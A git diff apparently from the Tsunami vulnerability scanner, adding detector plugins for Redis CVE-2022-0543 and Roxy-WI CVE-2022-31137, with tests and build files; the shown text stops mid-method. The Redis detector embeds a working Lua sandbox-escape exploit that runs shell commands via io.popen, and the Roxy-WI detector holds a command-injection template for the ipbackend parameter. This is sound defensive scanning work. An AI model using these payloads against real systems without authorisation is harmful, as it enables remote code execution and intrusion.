b/community/detectors/redis_cve_2022_0543/src/main/java/com/google/tsunami/plugins/detectors/cves/Cve20220543Detector.java new file mode 100644 index 000000000..ba351090b --- /dev/null +++ b/community/detectors/redis_cve_2022_0543/src/main/java/com/google/tsunami/plugins/detectors/cves/Cve20220543Detector.java @@ -0,0 +1,213 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static java.nio.charset.StandardCharsets.UTF_8; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.net.HostAndPort; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkEndpointUtils; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.nio.charset.StandardCharsets; +import java.time.Clock; +import java.time.Instant; +import javax.inject.Inject; +import javax.net.SocketFactory; + +/** A VulnDetector plugin for Redis CVE-2022-0543. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Redis CVE-2022-0543 Detector", + version = "0.1", + description = "VulnDetector for Redis CVE-2022-0543", + author = "shpei1963 (shpei1963@outlook.com)", + bootstrapModule = Cve20220543DetectorBootstrapModule.class) +public final class Cve20220543Detector implements VulnDetector { + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private static final String EXPLOIT_SCRIPT = + "eval \"local io_l = package.loadlib(\\\"%s\\\", \\\"luaopen_io\\\"); local io = io_l();" + + " local f = io.popen(\\\"%s\\\", \\\"r\\\"); local res = f:read(\\\"*a\\\"); f:close();" + + " return res\" 0\n"; + private static final ImmutableList LIB_LUA_PATHES = + ImmutableList.of("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0"); + + @VisibleForTesting + static final String TITLE = "Redis Lua Sandbox Escape and Remote Code Execution (CVE-2022-0543)"; + + @VisibleForTesting + static final String DESCRIPTION = + "Redis is an open source (BSD licensed), in-memory data structure store, used as a database," + + " cache, and message broker. Due to a packaging issue, Redis is prone to a" + + " (Debian-specific) Lua sandbox escape, which could result in remote code execution."; + + @VisibleForTesting + static final String RECOMMENDATION = + "Upgrade Redis to a fixed version based on" + + " https://security-tracker.debian.org/tracker/CVE-2022-0543"; + + private final Clock utcClock; + private final SocketFactory socketFactory; + private final PayloadGenerator payloadGenerator; + final int connectTimeout = 5000; + final int readTimeout = 2000; + + @Inject + Cve20220543Detector( + @UtcClock Clock utcClock, SocketFactory socketFactory, PayloadGenerator payloadGenerator) { + this.utcClock = checkNotNull(utcClock); + this.socketFactory = checkNotNull(socketFactory); + this.payloadGenerator = checkNotNull(payloadGenerator); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("Cve20220543Detector starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::isRedisService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_0543")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-0543")) + .setSeverity(Severity.CRITICAL) + .setTitle(TITLE) + .setDescription(DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + + private boolean isRedisService(NetworkService networkService) { + return networkService.getServiceName().equals("redis"); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + Socket socket = null; + BufferedOutputStream out = null; + BufferedInputStream in = null; + + // Create socket and connect + HostAndPort target = NetworkEndpointUtils.toHostAndPort(networkService.getNetworkEndpoint()); + try { + socket = socketFactory.createSocket(); + socket.connect(new InetSocketAddress(target.getHost(), target.getPort()), connectTimeout); + socket.setSoTimeout(readTimeout); + + out = new BufferedOutputStream(socket.getOutputStream()); + in = new BufferedInputStream(socket.getInputStream()); + } catch (IOException e) { + } + + boolean isVulnerable = true; + // Detect + try { + for (String luaPath : LIB_LUA_PATHES) { + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build(); + + // curl is not installed on the tested docker composes, as this is a REFLECTIVE_RCE fallback + // to the printf payload by default + Payload payload = this.payloadGenerator.generateNoCallback(config); + String script = String.format(EXPLOIT_SCRIPT, luaPath, payload.getPayload()); + + out.write(script.getBytes(UTF_8)); + out.flush(); + + // we assume that the response from callback server is less than 2048 + byte[] buffer = new byte[2048]; + + int b = in.read(buffer, 0, buffer.length); + if (b < 1) { + throw new IOException("Unexpected end of stream"); + } + + isVulnerable = payload.checkIfExecuted(new String(buffer, StandardCharsets.UTF_8)); + if (isVulnerable) { + break; + } + } + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Cannot execute exploit."); + return false; + } + + try { + // Clean up + socket.close(); + } catch (IOException e) { + } + + return isVulnerable; + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/redis_cve_2022_0543/src/main/java/com/google/tsunami/plugins/detectors/cves/Cve20220543DetectorBootstrapModule.java b/community/detectors/redis_cve_2022_0543/src/main/java/com/google/tsunami/plugins/detectors/cves/Cve20220543DetectorBootstrapModule.java new file mode 100644 index 000000000..8d9631885 --- /dev/null +++ b/community/detectors/redis_cve_2022_0543/src/main/java/com/google/tsunami/plugins/detectors/cves/Cve20220543DetectorBootstrapModule.java @@ -0,0 +1,33 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves; + +import com.google.inject.multibindings.OptionalBinder; +import com.google.tsunami.plugin.PluginBootstrapModule; +import javax.net.SocketFactory; + +/** A Guice module that bootstraps the {@link Cve20220543Detector}. */ +public final class Cve20220543DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + OptionalBinder.newOptionalBinder(binder(), SocketFactory.class) + .setDefault() + .toInstance(SocketFactory.getDefault()); + + registerPlugin(Cve20220543Detector.class); + } +} diff --git a/community/detectors/redis_cve_2022_0543/src/test/java/com/google/tsunami/plugins/detectors/cves/Cve20220543DetectorTest.java b/community/detectors/redis_cve_2022_0543/src/test/java/com/google/tsunami/plugins/detectors/cves/Cve20220543DetectorTest.java new file mode 100644 index 000000000..4500feeef --- /dev/null +++ b/community/detectors/redis_cve_2022_0543/src/test/java/com/google/tsunami/plugins/detectors/cves/Cve20220543DetectorTest.java @@ -0,0 +1,139 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forIpAndPort; +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import com.google.common.collect.ImmutableList; +import com.google.inject.AbstractModule; +import com.google.inject.Guice; +import com.google.inject.multibindings.OptionalBinder; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.net.Socket; +import java.security.SecureRandom; +import java.time.Instant; +import java.util.Arrays; +import javax.inject.Inject; +import javax.net.SocketFactory; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * Unit tests for {@link Cve20220543Detector}, showing how to test a detector which utilizes the + * payload generator framework. + */ +@RunWith(JUnit4.class) +public final class Cve20220543DetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + + @Inject private Cve20220543Detector detector; + + private final SocketFactory socketFactoryMock = mock(SocketFactory.class); + private final SecureRandom testSecureRandom = + new SecureRandom() { + @Override + public void nextBytes(byte[] bytes) { + Arrays.fill(bytes, (byte) 0xFF); + } + }; + + @Before + public void setUp() throws IOException { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom).build(), + new Cve20220543DetectorBootstrapModule(), + new AbstractModule() { + @Override + protected void configure() { + OptionalBinder.newOptionalBinder(binder(), SocketFactory.class) + .setBinding() + .toInstance(socketFactoryMock); + } + }) + .injectMembers(this); + } + + private void getMock(String output) throws IOException { + Socket socket = mock(Socket.class); + + when(socketFactoryMock.createSocket()).thenReturn(socket); + when(socket.getOutputStream()).thenReturn(new ByteArrayOutputStream()); + when(socket.getInputStream()).thenReturn(new ByteArrayInputStream(output.getBytes(UTF_8))); + when(socket.isConnected()).thenReturn(true); + } + + @Test + public void detect_whenVulnerable_reportsVulnerability() throws IOException { + getMock("TSUNAMI_PAYLOAD_STARTffffffffffffffffTSUNAMI_PAYLOAD_END"); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 6379)) + .setServiceName("redis") + .build(); + TargetInfo target = + TargetInfo.newBuilder().addNetworkEndpoints(service.getNetworkEndpoint()).build(); + + DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(target) + .setNetworkService(service) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build()); + } + + @Test + public void detect_whenNotVulnerable_doesNotReportVulnerability() throws IOException { + getMock(""); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 6379)) + .setServiceName("redis") + .build(); + TargetInfo target = + TargetInfo.newBuilder().addNetworkEndpoints(service.getNetworkEndpoint()).build(); + + DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } +} diff --git a/community/detectors/roxy_wi_cve_2022_31137/README.md b/community/detectors/roxy_wi_cve_2022_31137/README.md new file mode 100644 index 000000000..f827df5b9 --- /dev/null +++ b/community/detectors/roxy_wi_cve_2022_31137/README.md @@ -0,0 +1,19 @@ +# Roxy-wi RCE CVE-2022-31137 Detector + +Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived +servers. Versions prior to `6.1.1.0` are subject to a remote code execution +vulnerability. System commands can be run remotely via the `subprocess_execute` +function without processing the inputs received from the user in the +/app/options.py file. Authentication is not required to exploit this +vulnerability. Users are advised to upgrade. There are no known workarounds for +this vulnerability. + +See https://nvd.nist.gov/vuln/detail/CVE-2022-31137 for a details. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` diff --git a/community/detectors/apache_spark_exposed_webui/build.gradle b/community/detectors/roxy_wi_cve_2022_31137/build.gradle similarity index 80% rename from community/detectors/apache_spark_exposed_webui/build.gradle rename to community/detectors/roxy_wi_cve_2022_31137/build.gradle index 541624345..d89ec2c78 100644 --- a/community/detectors/apache_spark_exposed_webui/build.gradle +++ b/community/detectors/roxy_wi_cve_2022_31137/build.gradle @@ -1,10 +1,10 @@ plugins { - id 'java' + id 'java-library' } -description = 'Tsunami VulnDetector plugin to detect an exposed Apache Spark Web UI.' -group 'com.google.tsunami' -version '1.0-SNAPSHOT' +description = 'Roxy-wi RCE (CVE-2022-31137) VulnDetector plugin.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' repositories { maven { // The google mirror is less flaky than mavenCentral() @@ -46,25 +46,23 @@ java { } ext { - okhttpVersion = '3.12.0' - autoValueVersion = '1.7' tsunamiVersion = 'latest.release' junitVersion = '4.13' mockitoVersion = '2.28.2' truthVersion = '1.0.1' + guiceVersion = '4.2.3' } dependencies { - implementation "com.google.auto.value:auto-value-annotations:${autoValueVersion}" implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" - annotationProcessor "com.google.auto.value:auto-value:${autoValueVersion}" testImplementation "junit:junit:${junitVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" testImplementation "org.mockito:mockito-core:${mockitoVersion}" testImplementation "com.google.truth:truth:${truthVersion}" testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" - testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" } diff --git a/community/detectors/roxy_wi_cve_2022_31137/gradle/wrapper/gradle-wrapper.jar b/community/detectors/roxy_wi_cve_2022_31137/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/community/detectors/roxy_wi_cve_2022_31137/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/ai/cve20236018/gradle/wrapper/gradle-wrapper.properties b/community/detectors/roxy_wi_cve_2022_31137/gradle/wrapper/gradle-wrapper.properties similarity index 94% rename from google/detectors/rce/ai/cve20236018/gradle/wrapper/gradle-wrapper.properties rename to community/detectors/roxy_wi_cve_2022_31137/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/ai/cve20236018/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/roxy_wi_cve_2022_31137/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/ai/cve20236018/gradlew b/community/detectors/roxy_wi_cve_2022_31137/gradlew similarity index 94% rename from google/detectors/rce/ai/cve20236018/gradlew rename to community/detectors/roxy_wi_cve_2022_31137/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/ai/cve20236018/gradlew +++ b/community/detectors/roxy_wi_cve_2022_31137/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/mlflow_cve_2023_6977/gradlew.bat b/community/detectors/roxy_wi_cve_2022_31137/gradlew.bat similarity index 87% rename from community/detectors/mlflow_cve_2023_6977/gradlew.bat rename to community/detectors/roxy_wi_cve_2022_31137/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/mlflow_cve_2023_6977/gradlew.bat +++ b/community/detectors/roxy_wi_cve_2022_31137/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/roxy_wi_cve_2022_31137/settings.gradle b/community/detectors/roxy_wi_cve_2022_31137/settings.gradle new file mode 100644 index 000000000..a496884bd --- /dev/null +++ b/community/detectors/roxy_wi_cve_2022_31137/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'roxy_wi_cve_2022_31137' diff --git a/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Annotations.java b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Annotations.java new file mode 100644 index 000000000..2f375d7a9 --- /dev/null +++ b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Annotations.java @@ -0,0 +1,35 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202231137; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link Cve202231137Detector}. */ +final class Annotations { + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface OobSleepDuration {} + + private Annotations() {} +} diff --git a/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137Detector.java b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137Detector.java new file mode 100644 index 000000000..ed7cd6067 --- /dev/null +++ b/community/detectors/roxy_wi_cve_2022_31137/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202231137/Cve202231137Detector.java @@ -0,0 +1,188 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202231137; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.plugins.detectors.cves.cve202231137.Annotations.OobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.Optional; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects Roxy-wi RCE CVE-2022-31137. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Roxy-wi RCE CVE-2022-31137 Detector", + version = "0.1", + description = "This detector checks Roxy-wi RCE (CVE-2022-31137)", + author = "am0o0", + bootstrapModule = Cve202231137DetectorBootstrapModule.class) +public final class Cve202231137Detector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + @VisibleForTesting static final String VULNERABLE_REQUEST_PATH = "app/options.py"; + private static final String HTTP_PARAMETERS = "alert_consumer=1&ipbackend=\";%s+#"; + + private final Clock utcClock; + private final HttpClient httpClient; + private final int oobSleepDuration; + + private final PayloadGenerator payloadGenerator; + + @Inject + Cve202231137Detector( + @UtcClock Clock utcClock, + HttpClient httpClient, + PayloadGenerator payloadGenerator, + @OobSleepDuration int oobSleepDuration) { + + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.oobSleepDuration = oobSleepDuration; + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("Cve202231137Detector starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isRoxyWiWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2022-31137")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-31137")) + .setSeverity(Severity.CRITICAL) + .setTitle("Roxy-wi RCE (CVE-2022-31137)") + .setDescription( + "Roxy-wi Versions prior to 6.1.1.0 are subject to a remote code execution" + + " vulnerability.") + .build()); + } + + private boolean isRoxyWiWebService(NetworkService networkService) { + // note that this fingerprint phase is only for vulnerable versions, + // because newer Roxy-Wi versions have different endpoints for login + String targetUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "app/login.py"; + try { + Optional response = + httpClient.send(get(targetUrl).withEmptyHeaders().build(), networkService).bodyString(); + return response.isPresent() && response.get().contains("Login page - Roxy-WI"); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Request to target %s failed", networkService); + } + return false; + } + + private boolean isServiceVulnerable(NetworkService networkService) { + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build(); + + Payload payload = payloadGenerator.generate(config); + String cmd = payload.getPayload(); + + HttpResponse response = null; + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_REQUEST_PATH; + try { + response = + httpClient.send( + post(targetVulnerabilityUrl) + .withEmptyHeaders() + .setRequestBody( + ByteString.copyFromUtf8( + String.format( + HTTP_PARAMETERS, URLEncoder.encode(cmd, StandardCharsets.UTF_8)))) + .build(), + networkService); + } catch (IOException | AssertionError e) { + logger.atWarning().withCause(e).log("Request to target %s failed", networkService); + } + if (response == null || response.bodyString().isEmpty()) { + return false; + } + if (payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atInfo().log("Waiting for RCE callback."); + 